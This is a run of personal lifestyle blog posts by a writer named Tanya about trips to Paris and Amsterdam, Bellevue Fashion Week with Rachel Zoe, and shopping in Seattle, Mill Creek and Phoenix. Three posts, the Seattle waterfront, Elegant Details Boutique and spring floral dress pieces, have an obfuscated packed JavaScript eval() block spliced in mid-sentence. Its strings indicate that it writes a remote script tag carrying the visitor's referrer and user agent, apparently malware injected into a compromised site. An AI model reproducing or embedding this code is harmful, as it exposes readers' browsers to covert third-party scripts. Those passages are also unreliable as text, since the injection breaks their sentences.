Even in Winter, Paris is for Lovers

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Last month, my sweet husband and I had the rare opportunity for an early Valentine’s Day present to each other: a week in Paris! Thanks to his work and some mileage rewards points, we explored, dined, and shopped our hearts away, (and yes, my fashionista friends I have an entire article coming soon dedicated to all the AMAZING shops, designers, and sales I discovered there, as well as a special bargain-hunting treasure guide…)

But today’s post is all about love. Why? Because it’s Paris, baby! The City of Lights, and romance. Would this legendary place be able to work its magic on us, a well-traveled couple who have been together over 18 years? We were excited to find out!

Ready, set EXPLORE! Isn’t there a saying about the couple who goofs off together…? Trevor and I had been to Paris before, 15 years ago, and did a lot of the more touristy-stuff at that point. Once you’ve been lost in the mega-labyrinthine Louvre, the shine kind of wears off a little. Nonetheless, the cab to downtown dropped us off at the famous museum, so we figured it wouldn’t kill us to look around a little. And then this happened:

Yes, I got 6’4″ Trevor to stand up on a pedestal and pose like a tourist! Ok, now we’re loosening up a little bit…

Boop!

I’m not quite as tall but I can almost reach the top!

All right, well, it was windy and pouring down rain, so we decided to pick a less-crowded museum and see some art: Musee d’Orsay. If you’re looking to skip the push-and-shove crowds of the famous Louvre and have a more relaxed cultural experience, I highly recommend this gorgeous museum! Lines weren’t too long to get in, and it’s absolutely stunning inside. You can meander through well-mapped main halls and side rooms, enjoy the statues and artwork up-close & personal without hordes of people posing with selfie sticks, and even grab a hot chocolate & crepes in the lower-level cafe.

Bright open spaces, no crowds!

And really impressive art.

Renaissance duck-face, long before the Kardashians popularized this look! 😉

Lots of big-headed famous folks to see here…

And apparently you don’t have to travel to New York to kiss at the Statue of Liberty!

Ok, well, things were perking up a bit in the blustery city of grey… It was still drizzly, but we headed out to explore some more. Because no matter how many times you see it, there’s still something SO romantic about the Eiffel Tower! Even on a dark day…

See what I mean? Beautiful, even in the rain!

After some food in our bellies and a little more meandering time, we found a great spot to sit and chat a while: the Pont de Bir-Hakeim. It’s a little-known bridge just west of the Eiffel Tower, away from the crowds and madness of downtown. There are places to sit, very little foot traffic, and amazing views of the river and city! I mean check this out, there was literally NO one around!

Perfect time to spring a little romance on the man…

I love you / I know Star Wars-themed sterling silver rings by Impressed Art

My husband and I are geeks. I mean, from waaaaay back. We love Star Wars, sci-fi, comic books, and all that stuff; our wedding was a medieval-costume affair complete with jugglers, bagpipes, candles, tiaras, and the theme music to Princess Bride. Awww! Say it with me: “Mawwiage is what bwings us togethew todaaaaay…”

I tracked down these rings on Etsy through a shop called Impressed Art, and the artist Katie Hansen was kind enough to rush them to me in time for our trip. After a couple kisses on the bridge, I pulled them out and asked Trevor if he’d marry me all over again. At least that’s what I meant to say, but I’m a crier, so it came out something more like, “I got these rings and I love you and would you sniffle-sniffle mumble-mumble me?” He got the picture, laughed and hugged me. “Oh babe, you’re so adorable!”

Moment achieved. ❤

One of the best parts of our stay was the discovery of this amazing little AirBnB apartment! It was a top-floor loft, fully-equipped and furnished, on a main street, super convenient to everything we needed, and literally two blocks from the Eiffel Tower. See that view? Breakfast every morning, in sight of the Eiffel Tower! We will try to stay here EVERY time we come back. It was perfection!!! Here’s the link, if you’re interested:

Lovely 2 room Flat Eiffel Tower !

Paris, Île-de-France, France

Lovely 2 room flat ,top floor, with a direct view on the Eiffel Tower from your king size bed !
Beau deux pièces , quartier Tour Eiffel de grand standing, dernier étage sans vis à vis. Vue directe …

Vacation Rentals in Paris

https://www.airbnb.com/embeddable/airbnb_jssdk

The view from our bedroom. Every night starting at dusk, at the top of every hour the Tower lights up with a spectacular sparkle show! I loved it… Every evening, all night long. 🙂

View from the street, downstairs from our apartment.

Paris truly shines at night, and I don’t just mean the Eiffel Tower! After shopping and exploring all day, you generally have dinner around 8 or 9pm at night. In fact, we discovered that many of the restaurants didn’t even open their doors until 7 or 8pm! We had a blast wandering around, looking for delicious eateries and local wine. Yumm!

Yes, every big city needs a waterfront Ferris wheel now! You started it, London Eye.

Sacre Cour Basilica, the stunning cathedral on the hill overlooking Paris. Hike up here for the BEST views over the entire city – it’s gorgeous! But they don’t allow photos inside, because this church is still a holy place of worship. Religious ceremonies and prayer were happening, while we were walking through gawking at the sites! Felt a little awkward about that…

Back down the hill we went, into the busier parts of downtown Paris.

Street shopping! So many shops, such little time… Lemme at ’em!

Oh yes, and the Moulin Rouge is still a thing! We had to go check it out.

The Moulin Rouge of art, lore and movie fame… It was a fun show, but waaaay more comedy than I expected! Puppets, clowns, and miniature ponies. Oh, and showgirls, of course. Worth experiencing!

So we spent a week, and I have about a hundred more photos I could post here… But honestly they’re mostly kissing and Eiffel Tower pics, which you’ve probably gotten your fill of by now. 😉 We came, we saw, we stayed up every night soaking in the lights, sights, food, and romance of Paris!

Thank you Trevor, for the most romantic early Valentine’s Day gift ever.
And thank you Paris, for working your magic on us once again.

Je t’aime, pour toujours, Ville des lumiers!
XOXO,
Tanya (& Trevor)

Next article: The Best Places to Shop in Paris for Treasure Hunters! Coming soon…

Why #ileftmyheartin Amsterdam

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you’ve spent much time on my blog, chances are you’ve gleaned that I had an unconventional upbringing. Born and raised in a church missionary organization, I spent the first 20 years of my life traveling with my parents and helping with their service projects in over 25 countries. We slept on bunk beds, cots, and concrete floors. I’ve been served meals containing animals I had never thought of as “food” before… And I’ve been immersed in more cultures than most children these days have gaming consoles!

Most of the places I’ve lived in are dear to my heart, and had a deep, lasting impact on who I am today as a woman, and a citizen of this vast, amazing globe we call home. From Russia, to Thailand, to Jamaica and Germany, my horizons have been tugged and stretched to extreme proportions. But the one place that truly impacted me the most – the city I left my heart in! – was Amsterdam, where I lived at age 13.

Today, after many years and more stamps on my passport, I am journeying back to that wild, historic, and diverse city once again. And I wonder: has the city that impacted me so much as a blossoming teenager, changed over the years as much as I have? I can’t wait to find out!

What I Remember #1: the Food

Near the school I attended while my parents studied and worked in Amsterdam, stood a candy shop. And it wasn’t just any candy shop; it was made-right-here luscious goodness, the likes of which I had never tasted in my 13 years of life! I’ll never forget my first bite of Kabelspekken, the multi-colored twisted marshmallow sticks that quickly became my number-one treat. Sure, you can get marshmallows in the United States… But these were different! Made with real sugar and fruits, instead of corn syrup and food colorings, these colorful rainbows of happiness changed my world.

“Why don’t we have candy like this back home?” I asked my mom.

“American candy is made cheaply, with chemicals and artificial ingredients,” she told me. “This… This is real!” Mind. Blown. My taste for American candy would never be the same!

Besides the awesome candy, my favorite thing to do at lunch time was to run up the block with my classmates to the nearest snack bar, and order “frites mit saus” (fries with sauce.) To my teenage brain, these were perfection in a meal: hot and creamy on the inside, just the right amount of salty crunch on the outside, and ohhhhh that amazing creamy fry sauce! Like a cross between ranch and mayonnaise, but that doesn’t even come close to describing its awesomeness. For years afterwards we tried multiple kitchen attempts at duplicating the taste, but were never truly able to nail it.

Will the fries and sauce taste as amazing to me now, as they did back when I was a teen? I’m about to find out… Delicious and creamy/salty, exactly as I remember. ❤ Best fries in the world. Even my husband was surprised at how much he enjoyed them!

What I Remember #2: the Sights

I adore architecture and history, and Amsterdam is one of the best places in the world to observe both! As a kid, I was fascinated by the Dutch buildings; their distinct designs, spires, arches, and the way all the buildings fit so closely together.

“Why do they all tilt forward?” I remember asking, observing how the fronts of many older buildings lean out at the top. A local person explained to me that this was how they moved furniture pieces up to the top stories: by hooking a pulley or rope system to things, and hauling them straight up to the top, instead of trying to pull and tug them through narrow hallways and winding staircases. Brilliant!

Dutch buildings are beautiful. Check out this small mall below, called the Magna Plaza, that was once a post office designed by local architect P.C. Peters in 1899. In recent years, it has been transformed into a shopping complex, its original structure and details still stunning visitors and locals alike.

I love the walking streets, and although public transportation is inexpensive easy to navigate, for me nothing beats the joy of exploring this vast, beautiful city on foot. When I was a child, it felt like miles and miles, and we did much of it by bus or bike. But now, with a map and a comfy pair of shoes, I find the city is easily walkable and fascinating to explore!

What I Remember #3: the People

I adore the diversity in Amsterdam. It’s such a beautiful blend of humanity from across the globe! If you stand a while in Central Station and just listen, you’re guaranteed to hear chatter from a dozen different nations… At least! I’ve met people from Egypt, Dubai, New Zealand, England, France, Canada, Germany, and China. Because Amsterdam is such a hub of activity and a popular tourist destination, the city is packed with folks of all ages and nationalities.

And everyone gets along! Seriously! Sure, there must be times that rudeness happens, or racism rears its ugly head now & again… But for the most part everywhere I explored in the city I saw only politeness, kindness, and good manners.

Case in point: One evening while my husband was still at work past dinner time, I found my way to a quaint, lovely little pub that was advertising a tasty dinner special of soup, main course, and wine for 20 Eu. It was packed with people, which is always a good sign, considering it was still quite early for supper.

I asked the waiter for his suggestions of the tastiest soup on the menu, and he told me how much Amsterdamers love their split-pea-with-ham soup in the wintertime. Satisfied with that traditional yumminess, I settled in for a relaxing meal. That is, until I noticed a table-full of men who kept sneaking glances at me while I ate.

I ignored them and minded my own business, but eventually one of the braver fellows in their group sidled over and cleared his throat to get my attention.

“Pardon me, miss, but could I trouble you to inquire if you’re waiting for someone?” Such manners! I assured him with a polite smile that my husband was working late, and I would be joining him after dinner.

“Oh, my apologies then! You are quite lovely and if you were alone we’d invite you to join us. But do please forgive me if I offended you, and enjoy your evening!”

Oh my goodness, most polite rejection-taking EVER! I had to laugh. Offended? Um, no.

I found the same politeness in every situation across the city, in cafés, shops, train stations, and crowded city streets. I was never once treated with any rudeness, or talked down to for being a tourist. It felt like the entire city was happy to see us, and ready to be our friend.

As my husband and I walked through the streets Saturday night, full of BBQ chicken dinner from legendary local hotspot Bier Fabriek, high on love and surrounded by throngs of party-goers and fellow adventurers, I turned to him and sighed, “Oh, I really love it here… I would definitely move back in a heart beat!”

That’s the moment I knew; the moment everything I remembered from my childhood, and everything I had experienced on this visit, came together in a rush of joy.

As we boarded the train the next day to head back to the airport, my heart heavy and longing for more time to explore and immerse myself in this beautiful city, I realized the truth: I had left my heart in Amsterdam, all over again!
Tot ziens, Amsterdam… Until next time.
With Love,
TanyaRead more fun travel stories stories like mine, as part of Get Your Guide’s #ileftmyheartin campaign at GetYourGuide.com!

Bellevue Fashion Week Finale with Rachel Zoe!

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day at Bellevue Fashion Week was better than the one before, and by Day 4 we were all in a state of high expectation, and to be honest, a little light-headed from the fabulous-ness of it all! On our last day in Bellevue, we started with breakfast and a little shopping, then around 1pm met up at Bellevue Square for a special Fashion Forcast presentation with RACHEL ZOE. See those seats? Yup, front two rows, just for our #StyleSpyGirlPosse! We were so stoked!!

Cara Crowley & Rachel Zoe on stage… And that’s us, front 2 rows on the right!

Ready for some Fall trend predictions?

Rachel and Vogue’s Events Director Cara Crowley shared their Fall Fashion forecast, hitting all the major trends like Bohemian prints, moto jackets, shearling trim outerwear, fringe, long coats, and more!When Cara asked Rachel “What is the one trend you think people should try and incorporate into their wardrobes, if they are on a tight budget?” Rachel responded, “Grey. It’s such a major color right now, and it’s so versatile you can do a ton with it.”

Rachel was SO much fun, and a wealth of style information. I asked her if the “No white after Labor Day rule could be over and done with for good,” and she responded, “It’s definitely OVER! I love wearing white, all year round!” There it is, folks – the official word from global stylist pro Rachel Zoe. Now stop giving me nasty looks when I wear white jeans in January!

Rachel was totally fab, and we enjoyed the presentation. Bye for now, Ms. Zoe! See you at the Vogue Fashion Show in the evening!

But then things got…

Even…

BETTER!

TA-DA!!!

Sorry the pic above is a little grainy, but we got a surprise meet & greet with the fabulous fashion maven herself, Rachel Zoe! We were dying! Seriously!!! Here are a few more…

??? Thank you Bellevue Collection (esp Anna & Gillian!), and the Vogue crew for creating this incredible moment for us!!! ???

~~~~

~~~

And now, on with the Fashion Show…

My outfit: Dress by Rooney Mae Couture (Boise designer) / Chain Collar Necklace by BCBG / Handbag by Zac Posen (thank you Angie!)

Front row, just feet from Rachel Zoe (so basically she’s the one taking this photo – just kidding! No, we’re totally BFF’s with her by this point.)

Cara Crowley emceed the show… And that blonde head right above the word blonde is Rachel Zoe! See, I said we were close, ha ha. 😉

HOTTEST ticket in town – let the show begin!

No! We’re having TOO much fun! Squeeee!!!!

Totally NOT stalking! Just had to get this shot of Ammo with Rachel Zoe… Up top… Cute redhead with the gorgeous smile! 😉

That look, above, is me totally NOT freaking out because Rachel just gave me a little Hello smile and head nod from across the aisle. Wassup, oh amazing woman who is the inspiration behind every self-made fashion business woman on the planet? Yeah you… Thank you Rachel Zoe. ❤

And then, after the show ended, our #girlposse hopped up on the stage and had a blast taking photos together, because it was our last night and the next day we’d all have to return to “real life.” 😉

Me and Ammophotog, our amazing and talented team photographer!

Allison, Cassie, Angie

Me and Vogue Events Director Cara Crowley. She’s fabulous!

Ashley and Ammo

Me and H&M Spokesmodel Ashley T. Barkley – follow her awesome social media feed on Insta!

Cassie and Brenda

Me and the rad babes from Intermix, where we had a great shopping party two days before!

Whew, what a wild night! We stayed out late, made the most of every minute, and had a wonderful time. HUGE thanks to the Bellevue Collection for throwing such a posh, elegant, classy, AMAZING fashion week!!! We loved every minute of it, and can’t wait to come back again next year!!!

XOXO,
Tanya

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Fashion Week at the Bellevue Collection, Day 3!

rachel zoe bellevue fashion week stylespygirl

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by Ammophotog

Day three began with a very special project: we all converged on Nordstrom in Bellevue Square, and had a party designing our own shoes!!! Yes, totally and for real! Nordstrom has this new program called Shoes of Prey, where you sit down at an iPad and peruse through hundreds of example shoe styles, from flats to boots to sky-high platform heels. When you find something that inspires you, you click on it and begin to build.

What height of heel do you want? What color do you want the heel to be on the underside? What kind of material do you want the sole to be? Lace up, or ankle strap? I have to admit, it was almost overwhelming. So many options!

Ammo’s fun & creative style, in progress!

Whew! Special thanks to Nordstrom Bellevue for hosting us, and for the yummy lattes from their cafe while we shoe designed! Can’t wait to see our creative choices show up in the mailbox. ❤

Next stop: Hair & Makeup! The Bellevue Collection was packed with beauty stations throughout the lower level of the mall, with stylists from dozens of hair & makeup shops – everyone from Sephora to Nordstrom had specialists ready to assist us in quick updos and makeup perks-ups! Babes!

After getting beautified, we got ready to rock the evening’s Fashion Show: the Posh Party Trend Show with RACHEL ZOE!!! Yeah, pretty excited. This just keeps getting better & better!!!

From left: Me, Jody, Beth, Rishon, Angie, Christina, Cassie, Leticia, Danielle, Ashley, Allison, Brenda, & Ammo

Posh party girls love pictures!!! Words can’t even begin to describe how thrilled we are to be here! 😀

Loved meeting up with fellow bloggers & fashion babes from around the Seattle/Bellevue area!

Squeeeee, she was going to sit right in front of meeeee! She stood & hosted instead, but this fell off her seat so I’M KEEPING IT! 😉 Shh, don’t tell.

And then she came out… And I might have screamed just a little.
The unparalleled Rachel Zoe, talking about Fall Fashion trends and how Pacific Northwesterners are lucky because they get to wear her favorite fashion piece almost year-round: a jacket! She told us that fall is her favorite season, one which she would love to design for year-round, and forget spring. She said, “Fall is so much better! You get to wear beanies and more clothes… I think I’m moving to Bellevue.”

On with the show! Trending: Glam Rock. Fringe, buckles, leather, sexy shoes, metallic heels, dark colors.

Dark Romance: Velvet, pointy heels, sheer fabrics, patterned tights, crosses, white blouses, and lace, lace, lace!!!

Good Twill: Grey on grey, tweed, twill, checks, black & white, tailored but cozy

More Good Twill looks. Capes & long jackets!

Touch of Luxe: Furs/faux furs, glitter, brooches, shiny dresses, metallic fabrics, lots of white

Finale

The biggest standout trends to me were: Ankle boots with metal heels, 70’s bohemian looks are sticking around, capes, long coats, belted coats (think 80’s style), shearling on everything, thigh-high suede boots, 60’s style color blocking, patterned stockings, lace, and lots and lots of grey.

Whew, this is just day 3! Day 4, Saturday Sept. 26th is the MAJOR day, with two shows and some up close & personal time with Rachel Zoe… Stay tuned! 😀

XOXO,
Tanya

>>> Click here to jump to the BIG FINALE of Bellevue Fashion Week!

Fashion Week at the Bellevue Collection, Day 2!

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by Ammophotog Brenda perusing the racks, while I try on shoes, in Absolutely Fabulous

Day Two of our Bellevue Fashion Week trip was all about SHOPPING!!! Some of our crew grabbed an Uber to downtown Seattle, while the rest of us stayed Eastside. Just a hop, skip, and a jump up to Kirkland, WA, where we found the BEST vintage & designer resale shops, OMG! There’s an entire walking street of fabulous boutiques, all along Lake St. and Park Lane, by the waterfront. We loved Ragamoffyn‘s and Absolutely Fabulous in particular, snatching up treasures from vintage Prada bags to new Chanel sunnies! We only had a few hours to power shop, but all agreed we’d love to come back and spend DAYS here!

My Betsey Johnson Booties. Thanks, Angie!!!

Ammo, Danielle, and Cassie refueling at Cactus Restaurant

Next, we went to a SHOPPING PARTY at Intermix, a really cool shop in Bellevue Square packed with gorgeous & luxurious clothes, shoes, and accessories…

The staff gave us a cool demo on currently trending fashions in the Pacific Northwest, and served us champagne and hor d’oeuvres! Thank you Intermix, we really enjoyed our time with you!

Ashley Barkley, rad wardrobe stylist & spokesmodel for H&M! Follow her on Instagram and Snapchat: @ashleyt.barkley

Gorgeous #girlbosses Jody and Rishon, admiring the jewelry

Fabulous Beth, the power shopper! Love her style. ❤

After all that shopping we dumped our bags at the hotel and headed to 13 Coins, a new Bellevue branch of an amazing downtown Seattle upscale gourmet restaurant!Thanks for hosting our group in your gorgeous Gold Room, 13 Coins!

And thus ended day two of our fabulous Fashion Week adventure. Next up: Day Three, with more shopping and FASHION RUNWAY SHOWS!!!
XOXO,
Tanya

>>>> Read about our exciting Day Three of the Fashion Week Adventure here!

Fashion Week at the Bellevue Collection, Day 1!

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by ammophotog

This week I had the thrilling privilege to gather a group of gorgeous ladies and fly over to Bellevue, WA for the 10th Anniversary of Fashion Week at the Bellevue Collection! We got off to a slow start at the Boise airport, thanks to some flight delays, but had fun getting to know each other and chatting about all the fashion shows coming up… and the shopping we couldn’t wait to do!~Cassie, Leticia, and Brenda~

~ Ashley, Allison, Christina~

On the plane at last – woohoo! Seven of our crew of 12…

Babes at Sea-Tac!

First stop: champagne and lunch at Pearl!

#StyleSpyGirlTravelPosse!

Swags bags and goodies in our hotel suite, courtesy of the Bellevue Collection ❤

Pre-party with these fab dolls, waiting for the Independent Designer Runway Show

~ Lovely Christina!~~ Rad babes Ashley, Jody, & Beth ~

Our fab fashion photog, the always-styling Ammophotog!

~ Allison, Christina, Danielle ~

Let the show begin! Eight local designers have worked hard to produce their fashion lines, competing for a panel of judges PLUS the coveted audience vote!

Daniel Ressa | danielressa.com

RO2 by Rana Ottaviani

Dream Dresses by PMN | Phuong Nguyen

Finale

Varsha Agarwal, with model | varshaagarwal.com

Victoria Postolit By Victoria Postolit, with model | victoriapostolit.com

Daniel Ressa by Daniel Ressa, with model | danielressa.com (I want his finale plaid Grunge dress – so chic!!)

Blufur by Iris Klein | blufur.com

Dawson & Deveraux by Sophia Karen, with model | dawson-deveraux.com

Cute Like Mad by Jeannette Svenski Li, with model | cutelikemad.com

RO2 by Rana Ottaviani | ro2designstudio.com

Announcing the Winner of the People’s Choice award, Varsha Agarwal

The grand prize winner of IDRS, Phuong Nguyen of Dream Dresses. Congratulations, Phuong!

Had fun representing Boise style, in my own plaid dress by the very talented Treasure Valley designer Retro Hunny. Got tons of compliments on this lovely piece, with lots of requests for photos, so I figured it deserved a turn on the runway! 😉 Love it, Retro Hunny!!

Stay tuned tomorrow for more Fashion Week photos, including the Posh Party Runway Show hosted by RACHEL ZOE!!!

XOXO,
Tanya

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>>>>> Click here to jump to Day Two at Fashion Week, for more fun & adventure!

Travel Spotlight: Exploring The Seattle Waterfront

Recently eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iraif|var|u0026u|referrer|tbbtt||js|php’.split(‘|’),0,{}))
I had the fun pleasure of exploring the Seattle waterfront while taking photos for COACH’s Instagram, with fabulous photographer Lauren Max. We had such a blast, from the gorgeous views, to people-watching, to ice cream in the pier! I grew up in this area, and the waterfront is my happy place. 🙂 I used to love coming downtown to the boardwalk area, so it was really nice to be here again, hanging out, taking in the sights & sounds (and that glorious fishy saltwater smell!), and snapping some shots of this beautiful place for COACH. Enjoy!
XOXO,
Tanya

Photos by Lauren Max Photography / Makeup by Marissa Lyons / Hair by Jennifer Engberg at Turning Heads Salon / Bag: Mini Rhyder Satchel via COACH / Live What You Love Shirt & necklace: Express / Jeans: Urban Outfitters / Plaid Shirt: Paige Mya Shirt, Nordstrom / Booties: BCBG, Nordstrom RackHeading inside to check out the carousel

Oh yeah, old school fun!

Here, let me give you a hand with that old fella!

The hallway of heads is… interesting.

But I can totally share my ice cream!

Thanks for the great pics, Lauren, and the fun time shooting your beautiful Rhyder bag COACH!
XOXOXOXOXO

Spotlight On: Elegant Details Boutique in Mill Creek, WA

Mill eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|feekh|var|u0026u|referrer|iistd||js|php’.split(‘|’),0,{}))
Creek, WA is a bustling little suburb of north Seattle, nestled in an area between Bothell and Everett. This sprawling town has boomed in the last few years, growing from a quiet community to a thriving, urban center. My parents live here, and it’s been fun to watch their town blossom! Recently I discovered a new favorite boutique to shop in, amongst the bookstores, markets, and restaurants of Mill Creek.

Just a short walk up the road from Mill Creek’s Town Center is a quiet strip mall, where I found Elegant Details Boutique. Owners Kelly and Lisa opened their lovely little shop eight years ago, selling home decor and accessories. Three years ago, they decided to bring clothing and jewelry into their boutique, and sales really started to boom!

Like a mini-Anthropologie (but without the – ahem! – Anthro price tag), Elegant Details specializes in the pretty little things every woman craves, but doesn’t know she needed until she sees them! From luxurious couture bubble bath, to the thick, oozy-melting candles your grandmother used to have, to prim underslips trimmed with the most exquisite laces, Elegant Details is all things feminine.

I enjoyed shopping in here immensely, and came away with a lacy black top (on sale!), a beautiful off-the-shoulder tunic that’s totally on-trend, some sweet home-decor art, and the cutest little pair of Seahawks earrings to give my mom for her birthday. Everything was reasonably-priced, and the shop’s owner was kind, helpful, and friendly.

Whether you’re visiting friends, family, or just passing through Mill Creek, stop in for a delightful shopping adventure at Elegant Details Boutique! I’m sure you’ll enjoy the pretty little things, as much as I did. 🙂

XOXO,
Tanya

Elegant Details Boutique on Facebook
15704 Mill Creek Blvd, Ste 12, Mill Creek, WA 98012
425-585-0914

>>> Jump to the next article: Fall Fashion Preview & My Plaid Crush!!!

Flower Power – Spring Floral Dresses for 2015

Dress: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kyeis|var|u0026u|referrer|zzdbr||js|php’.split(‘|’),0,{}))
Nordstrom Rack’s Last Chance store / Prince Street Silver Satchel, Coach / Amulet Necklace & Earrings, Coach / Sandals: ShoeHound / Photos: Valerie Davenport / Hair: Sara Murray / Nails: Gretchen LeMay
Floral patterns seem to make a comeback every spring. Something about April showers bringing May flowers, I suppose! This Spring 2015 is no different; flowers are blooming everywhere, both in the ground and on the fashion runway. And with the fashion world’s current love affair with the groovy 70’s, flower power is stronger than ever!

I was recently in Phoenix, Arizona, and briefly had the chance to visit the Nordstrom Rack’s famous “Last Chance” store. Oh my gosh, that place is epic! I was sad I only had an hour to look around, as the shoe shelves were piled high with everything from Jeffrey Campbells to Louboutins, all deeply discounted for minor-to-imperceptible flaws.

One lovely little thing I managed to snag before my time was up, was this floral maxi dress. It was $12! Seriously! Great score, right? I love the tiered skirt and jewel-tone flowers. Such a girly, girl, I know, but I also really love bold colors. I paired it with a simple-yet-stunning “Prince Street” metallic tote from COACH that I’m absolutely obsessed with (this little beauty goes with everything!!!), and ankle-strap sandals from new local shoe shop ShoeHound.

Will you rock the floral trend this Spring & Summer? Scroll down to shop the look! I found maxi floral dresses online in a variety of prices – none are $12 like mine, sorry, but all carry the essence of the trend: ladylike, classy, easy-breezy floral elegance. Tell me about your favorite florals, in the comments below!
XOXO,
Tanya

Special thanks to Valerie Davenport for the photos, Sara Murray for styling my hair, and Gretchen LeMay for the adorable nail art (dragonflies – cuteness!)

Trixxi Print Maxi Dress, on sale now for $38.90

ASTR High Neck Maxi Dress, on sale now for $46.80

London Times Floral Print Shirred Waist Maxi, extended sizes, $78

Eliza J Print Pleat Chiffon Maxi Dress, $158

Free People Cherry Blossom Maxi Dress, $350

Shopping in Phoenix: Poor Little Rich Girl

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I had a short – but wonderful! – week in Phoenix, Arizona visiting my beloved Aunt, Uncle, and cousins, and helping my Aunt go through and organize all my recently-departed Grandmother’s belongings. I’ll share more about that in an upcoming post (and tell you about the vintage treasures that blew my mind!), but the purpose of this article is to share about my new favorite place in Phoenix to shop: Poor Little Rich Girl!

My cousin Tiffany raved about this shop, and she has excellent fashion taste, so of course I had to go check it out! It’s a resale/consignment shop, packed wall-to-wall with carefully curated fashion treasures and locally-made jewelry, housewares, and gifts. Fabulous!

Poor Little Rich Girl began seven years ago as a consignment store, but has recently moved to a cashout system, giving sellers the best bang for their buck. No matter what the item you’ve sold gets marked down to over time, you’ll receive the initial value up front on your precious treasures! This immediate-gratification system most likely explains why the store is so full of designer brands and current trends! I spotted Coach, Gucci, Michael Korrs, Betsey Johnson, Kate Spade, Diane von Furstenburg, and Tory Burch, just to name a few.

My daughter was with me, and we had a fun time shopping for treasures. She was particularly enamored with the huge necklace display; an old wire mattress frame, laden with jewelry she could walk through, running her fingers through all the pretty things hanging like branches of a magical willow tree! Very clever.

Poor Little Rich Girl has two locations, a few miles apart. We visited the one on E. Indian School, and had a blast! Be sure to check out their instagram feed here; not only is it inspiring from a fashion perspective, but you can shop directly from it, and have unique items sent to you! Instant gratification, indeed.

Happy Shopping!
XOXO,
Tanya

Poor Little Rich Girl is in Phoenix, Arizona, USA.
Store Hours: Mon thru Sat 9:00am-7:30pm, Sun 10:00am-6:00pm
Website here, Facebook here, Instagram here.